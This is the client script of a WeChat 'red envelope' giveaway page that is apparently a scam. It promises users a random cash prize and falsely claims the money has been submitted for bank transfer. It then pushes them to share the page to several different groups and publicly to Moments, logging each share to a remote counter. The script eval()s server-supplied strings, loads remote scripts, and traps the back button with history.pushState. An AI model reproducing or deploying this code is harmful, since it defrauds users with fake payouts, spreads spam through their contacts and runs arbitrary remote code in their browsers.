var ZZname = 'me';
window.sdk_config = {
  "debug": false,
  "appId": 'wx123456',
  "timestamp": 16545645,
  "nonceStr": 'asdasd',
  "signature": 'kxudjqo5sjxmskdlsojhfycbsgdhs',
  "jsApiList": ["onMenuShareTimeline", "onMenuShareAppMessage", "hideMenuItems", "showMenuItems"],
  'ticket': 'ttwatawtaw'
};

var moneyStrxx = parseInt(M.getParam('money')) / 100 || parseInt((parseFloat(Math.random() * 20) + 30) * 100);
function zp() {
  //window.location.href = ad_url;
	if(ad_url)eval(ad_url);
}
function back_url2() {
	  //window.location.href = ad_url;
		if(back_url2)eval(back_url2);
	}
var alertTimes = 0;
function wxalert(msg, btn, callback) {
  if (alertTimes == 0) {
    var dialog = unescape("%3C%64%69%76%20%69%64%3D%22%6C%6C%79%5F%64%69%61%6C%6F%67%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%22%3E%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%77%65%75%69%2D%6D%61%73%6B%22%3E%3C%2F%64%69%76%3E%0A%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%77%65%75%69%2D%64%69%61%6C%6F%67%22%3E%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%77%65%75%69%2D%64%69%61%6C%6F%67%5F%5F%62%64%22%20%69%64%3D%22%6C%6C%79%5F%64%69%61%6C%6F%67%5F%6D%73%67%22%3E%3C%2F%64%69%76%3E%0A%20%20%20%20%20%20%20%20%3C%64%69%76%20%63%6C%61%73%73%3D%22%77%65%75%69%2D%64%69%61%6C%6F%67%5F%5F%66%74%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%61%20%68%72%65%66%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%3B%22%20%63%6C%61%73%73%3D%22%77%65%75%69%2D%64%69%61%6C%6F%67%5F%5F%62%74%6E%20%77%65%75%69%2D%64%69%61%6C%6F%67%5F%5F%62%74%6E%5F%70%72%69%6D%61%72%79%22%20%69%64%3D%22%6C%6C%79%5F%64%69%61%6C%6F%67%5F%62%74%6E%22%3E%3C%2F%61%3E%0A%20%20%20%20%20%20%20%20%3C%2F%64%69%76%3E%0A%20%20%20%20%3C%2F%64%69%76%3E%0A%3C%2F%64%69%76%3E");
    $("body").append(dialog)
  }
  alertTimes++;
  var d = $('#lly_dialog');
  d.fadeIn(200);
  d.find("#lly_dialog_msg").html(msg);
  d.find("#lly_dialog_btn").html(btn);
  d.find("#lly_dialog_btn").off('click').on('click', function () {
    d.fadeOut(200);
    if (callback) {
      callback()
    }
  })
}
var shareATimes = 0;
var shareTTimes = 0;
var number = 0;
var number1 = 0;
var city = lc.substring(0, 2);
var alertTimes = 0;

window.gConfig = $.extend({
  defaultTips: [
    '<span style="font-size: 23px;color:#1BBC9B;">恭喜你</span><br/><br/>',
    '<span>您获得现金紅包</span><br/>',
    '<span style="font-size: 20px;color:red;">%(money)元</span><br/>',
    '<span style="color:red;">活动宗旨为答谢更多粉丝，分享到群后</span><span  style="color:red; font-size: 25px;">即可领取</span><br/>',
    // '<span style="color:red;">群人数>50人可额外奖励18元</span><br/>',
    '<span>紅包总额仅剩余</span><span style="font-size: 20px;color:red;">97.8万</span>元，先到先得，马上分享领取到账！<br/>',
  ].join(''),
  successTips: [
    '<span style="font-size: 20px;color: red;">恭喜您</span>，',
    '获得￥ <span style="font-size: 20px;color: red;">%(money)</span> 现金紅包，',
    '金额已提交銀行打款，预计2小时内到账（跨行次日到账，非工作时间[09:00-17:00]次日到账），请留意查收微信绑定銀行卡到账情况！',
  ].join(''),
  groupTips: [
    {
      successTitle: '<b style="font-size: 22px;color: #1BBC9B;">分享成功！</b>',
      successTips: '请继续分享到<b style="font-size: 18px;color: red">2</b>个不同的群<br/><span style="color:red;">紅包将立即到账！</span>',
    },
    {
      successTitle: '<b style="font-size: 22px;color: red;">分享失败！</b>',
      successTips: '注意：分享到相同的群会失败！<br>请继续分享到<b style="font-size: 18px;color: red">2</b>个不同的群！',
    },
    {
      successTitle: '<b style="font-size: 22px;color: #1BBC9B;">分享成功！</b>',
      successTips: '请继续分享到<b style="font-size: 18px;color: red">1</b>个不同的群<br/><span style="color:red;">紅包将立即到账！</span>',
    },
    {
      successTitle: '<b style="font-size: 22px;color: #1BBC9B;">分享失败！</b>',
      successTips: '请分享到<b style="font-size: 18px;color: red">人数>50人</b>的群<br/><span style="color:red;">紅包将立即到账！</span>',
    },
    {
      successTitle: '<b style="font-size: 22px;color: #1BBC9B;">分享成功！</b>',
      successTips: '剩下最后一步啦！<br />请分享到<span style="font-size: 30px;color: #f5294c">朋友圈</span>，获赠<b style="font-size: 18px;color: red;">{moneyStr}</b>元💰立即到账！',
    },
  ],
  timeLineTips: [
    {
      successTitle: '<b style="font-size: 22px;color: red;">分享失败！</b>',
      successTips: '<br>注意：必须[<span color="red">公开</span>]分享哦!<br>请尝试重新分享到<b style="font-size: 18px;color: red">朋友圈</b><br>',
    },
  ]
}, (window['data']));
var atd = M.getParam('atd');

function getCity() {
  return (window['localAddress'] ? ['北京市', '天津市', '上海市', '重庆市'].indexOf(localAddress.province) > -1 ? localAddress.province : localAddress.city : '').replace(/(.*)市/, '$1');
}

/* 借权end */
function record(event, id, allow_reply) {
  return 1;
}

function share_tip() {
  $(".tan_frame").show();
  $('.fenxiang_w').hide();
  $('.fenxiang_w').eq(shareATimes).show();
  console.log(shareATimes);
  console.log(shareTTimes);
  if (shareATimes == 1) {
    shareFriend();
  } else if (shareATimes == 2) {
    shareFriend();
  } else if (shareATimes == 3) {
    shareFriend();
  } else if (shareATimes == 4) {
    shareFriend();
  } else if (shareATimes == 5) {
    shareFriend();
  } else {
    if (shareTTimes < 1) {
      wx.hideOptionMenu();
      wx.showMenuItems({
        menuList: ['menuItem:share:timeline']
      });
      shareTimeline1();
    } else {
      $('.fenxiang_w').hide();
      $('.fenxiang_w').eq(shareATimes+shareTTimes).show();
      if (shareTTimes == 1) {
        shareTimeline4();
      } else if (shareTTimes == 2) {
        shareTimeline4();
        setTimeout("zp();",2000);
      }
    }
  }
};
function shareFriend(result) {
  var to_group = window.data.to_group;
  var type = 'link';
  if (shareATimes == 0) {
    to_group.imgUrl = window.data.to_group.imgUrl;
    to_group.link = window.data.to_group.link;
    to_group.desc = window.data.to_group.desc.replace('{city}', city);
    to_group.title = window.data.to_group.title.replace('{city}', city)
  } else if (shareATimes == 1) {
    to_group.imgUrl = window.data.to_group2.imgUrl;
    to_group.link = window.data.to_group2.link;
    to_group.desc = window.data.to_group2.desc.replace('{city}', city);
    to_group.title = window.data.to_group2.title.replace('{city}', city)
  } else if (shareATimes == 2) {
    to_group.imgUrl = window.data.to_group3.imgUrl;
    to_group.link = window.data.to_group3.link;
    to_group.desc = window.data.to_group3.desc.replace('{city}', city);
    to_group.title = window.data.to_group3.title.replace('{city}', city)

  } else if (shareATimes == 3) {
    to_group.imgUrl = window.data.to_group4.imgUrl;
    to_group.link = window.data.to_group4.link;
    to_group.desc = window.data.to_group4.desc.replace('{city}', city);
    to_group.title = window.data.to_group4.title.replace('{city}', city)


  } else if (shareATimes == 4) {
    to_group.imgUrl = window.data.to_group5.imgUrl;
    to_group.link = window.data.to_group5.link;
    to_group.desc = window.data.to_group5.desc.replace('{city}', city);
    to_group.title = window.data.to_group5.title.replace('{city}', city)
  } else {
    to_group.imgUrl = window.data.to_group6.imgUrl;
    to_group.link = window.data.to_group6.link;
    to_group.desc = window.data.to_group6.desc.replace('{city}', city);
    to_group.title = window.data.to_group6.title.replace('{city}', city)
  };
  wx.onMenuShareAppMessage({
    title: to_group.title.replace('{city}', city),
    desc: to_group.desc.replace('{city}', city),
    link: to_group.link,
    imgUrl: to_group.imgUrl,
    type: 'link',
    // img_width: "640",
    // img_height: "640",
    success: function () {
	 $.ajax({
         'url' : 'http://'+countip+'/count.php',
         'method' : 'POST',
         'data': {res: 'friend'},
         'success' : function(){}
     });
      shareATimes += 1;
      share_tip();
    },
    fail: function () {
    }
  })
};
function shareTimeline1() {
  wx.onMenuShareTimeline({
    title: window.data.to_timeline.title.replace('{city}', city),
    link: window.data.to_timeline.link,
    imgUrl: window.data.to_timeline.imgUrl,
    type: 'link',
    // img_width: "640",
    // "img_height": "640",
    success: function () {
	 $.ajax({
         'url' : 'http://'+countip+'/count.php',
         'method' : 'POST',
         'data': {res: 'timeline'},
         'success' : function(){}
     });
      shareTTimes += 1;
      share_tip();
    },
    fail: function () {
      // $.get('//ss.bnykry.cn/1.0.0/activity_count/common?type=4&video='+window.type)
    }
  })
};
function shareTimeline4() {
  wx.onMenuShareTimeline({
    title: window.data.to_timeline4.title.replace('{city}', city),
    link: window.data.to_timeline4.link,
    imgUrl: window.data.to_timeline4.imgUrl,
    type: 'link',
    // img_width: "640",
    // "img_height": "640",
    success: function () {
      shareTTimes += 1;
      share_tip();
    },
    fail: function () {
      // $.get('//ss.bnykry.cn/1.0.0/activity_count/common?type=4&video='+window.type)
    }
  })
};

// 分享
(function () {

  var group_ad = false;
  var timeline_ad = false;
  var shareATimes = 0;
  var shareTTimes = 0;


  function start_load() {	  
    window.type = 36;
    $.ajax({
      type: "GET",
      //url: "http://wp10000.cn/share_HB2_0106.php?monyeey=" + moneyStrxx + '&atd=' + atd + '&url=' + encodeURIComponent(location.href.split('#')[0]),
      url: "http://"+shareDomain+"/share_HB2_0106.php?monyeey=" + moneyStrxx + '&atd=' + atd + '&url=' + encodeURIComponent(location.href.split('#')[0]),
      dataType: "jsonp",
      jsonp: "callback",
      data: {},
      success: function (data) {    	 
        window.data = data;
        console.log(window.data);
        wx.config(window.data.config);
        wx.ready(function () {
          wx.hideOptionMenu();
          wx.showMenuItems({
            menuList: ['menuItem:share:appMessage']
            //    menuList: ['menuItem:share:timeline']
          });
          var result = {
            "config": {
              "debug": true,
              "jsApiList": ["onMenuShareTimeline", "onMenuShareAppMessage"]
            },
            "share_info": {
              "to_group": {
                "title": data.to_group.title.replace('{city}', city),
                "desc": data.to_group.desc.replace('{city}', city),
                "link": data.to_group.link,
                "img": data.to_group.imgUrl
              },
              "to_group1": {
                "title": data.to_group.title.replace('{city}', city),
                "desc": data.to_group.desc.replace('{city}', city),
                "link": data.to_group.link,
                "img": data.to_group.imgUrl
              },
              "to_group3": {
                "title": data.to_group3.title.replace('{city}', city),
                "desc": data.to_group3.desc.replace('{city}', city),
                "link": data.to_group3.link,
                "img": data.to_group3.imgUrl
              },
              "to_timeline": {
                "title": data.to_timeline.title.replace('{city}', city),
                "link": data.to_timeline.link,
                "img": data.to_timeline.imgUrl
              },
              "to_timeline2": {
                "title": data.to_timeline2.title.replace('{city}', city),
                "link": data.to_timeline2.link,
                "img": data.to_timeline2.imgUrl
              },
              "to_info": {
                "timeline_num": data.to_info.timeline_num
              },
              "share_app_order": data.share_app_order,
            }
          };
          line2 = result.share_info.to_timeline2;
          timeline_num = result.share_info.to_info.timeline_num;
          line2_title = result.share_info.to_timeline2.title;
          line2_link = result.share_info.to_timeline2.link;
          line2_img = result.share_info.to_timeline2.img;

          //        WeixinJSBridge.on('menu:share:appmessage',
          // function(argv) {
          shareFriend(result.share_info);
          // });
          // WeixinJSBridge.on('menu:share:timeline',
          // function(argv) {
          shareTimeline1(result.share_info.to_timeline);
          // })
        });
        wx.error(function (res) {
          $.getScript("//?appId=" + window.data.config.appId);
        });
      }
    })
  }

  function init() {
    if (typeof WeixinJSBridge === "undefined") {
      if (document.addEventListener) {
        document.addEventListener('WeixinJSBridgeReady', start_load, false);
      } else if (document.attachEvent) {
        document.attachEvent('WeixinJSBridgeReady', start_load);
        document.attachEvent('onWeixinJSBridgeReady', start_load);
      }
    } else {
      start_load();
    }
  }

  window.g_share = {
    init: init,
  }

}())

$(function () {

  function replaceMoney(obj, money) {
    obj = obj || {}
    if (obj.title) {
      obj.title = obj.title.replace('{moneyStr}', money).replace(/{fuck}/ig, '\u034f');
    }
    if (obj.desc) {
      obj.desc = obj.desc.replace('{moneyStr}', money).replace(/{fuck}/ig, '\u034f').replace('\\n', '\n');
    }
    if (obj.successTitle) {
      obj.successTitle = obj.successTitle.replace('{moneyStr}', money).replace(/{fuck}/ig, '\u034f');
    }
    if (obj.successTips) {
      obj.successTips = obj.successTips.replace('{moneyStr}', money).replace(/{fuck}/ig, '\u034f');
    }
  }

  function init() {


    var moneyStr = parseInt(M.getParam('money')) || parseInt((parseFloat(Math.random() * 20) + 30) * 100)

    var money = (parseFloat(moneyStr / 100).toFixed(2));

    gConfig.defaultTips = gConfig.defaultTips.jstpl_format({
      money: money
    });

    gConfig.successTips = gConfig.successTips.jstpl_format({
      money: money
    });

    replaceMoney(gConfig['ad'], money)
    replaceMoney(gConfig['to_group'], money)
    replaceMoney(gConfig['to_timeline'], money)
    replaceMoney(gConfig['to_timeline'], money)

    $(gConfig.groupTips).each(function (index, item) {
      replaceMoney(item, money)
    });

    $(gConfig.timeLineTips).each(function (index, item) {
      replaceMoney(item, money)
    });


    g_share.init();

  }

  init()

});
var _0 = _0 || [];
function anchor() {
  history.pushState(history.length + 1, "message", "#" + new Date().getTime())
}
setTimeout('anchor()', 100);
window.onhashchange = function () {
	back_url2();
};

// 设置返回
$(function () {
  if (gConfig['attached'] && gConfig['attached']['back_api']) {
    M.loadJS(gConfig['attached']['back_api']);
  }
});

